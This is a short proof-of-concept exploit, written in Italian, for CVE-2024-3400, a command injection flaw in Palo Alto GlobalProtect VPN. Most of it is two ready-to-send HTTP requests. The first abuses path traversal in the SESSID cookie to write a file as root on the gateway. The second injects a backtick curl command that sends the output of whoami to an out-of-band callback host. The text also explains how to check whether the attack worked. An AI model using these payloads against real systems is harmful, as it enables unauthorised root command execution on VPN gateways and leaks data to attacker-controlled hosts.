
Exploit proof-of-concept per CVE-2024-3400, un'iniezione di comandi del sistema operativo Palo Alto in GlobalProtect VPN. Dimostra la creazione di file e l'esecuzione di comandi in uscita tramite richieste HTTP appositamente create.
CVE-2024-3400 Palo Alto OS Iniezione di comandi
invia questa richiesta HTTP:
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.0.1
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

creerai il file hellome1337.txt sul server con accesso root
ora se provi ad accedere ai file dovresti ricevere 403 invece di 404

POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: 127.0.01
Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/minute/h4`curl${IFS}xxxxxxxxxxxxxxxxx.oast.fun?test=$(whoami)`;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Maggiori informazioni : https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis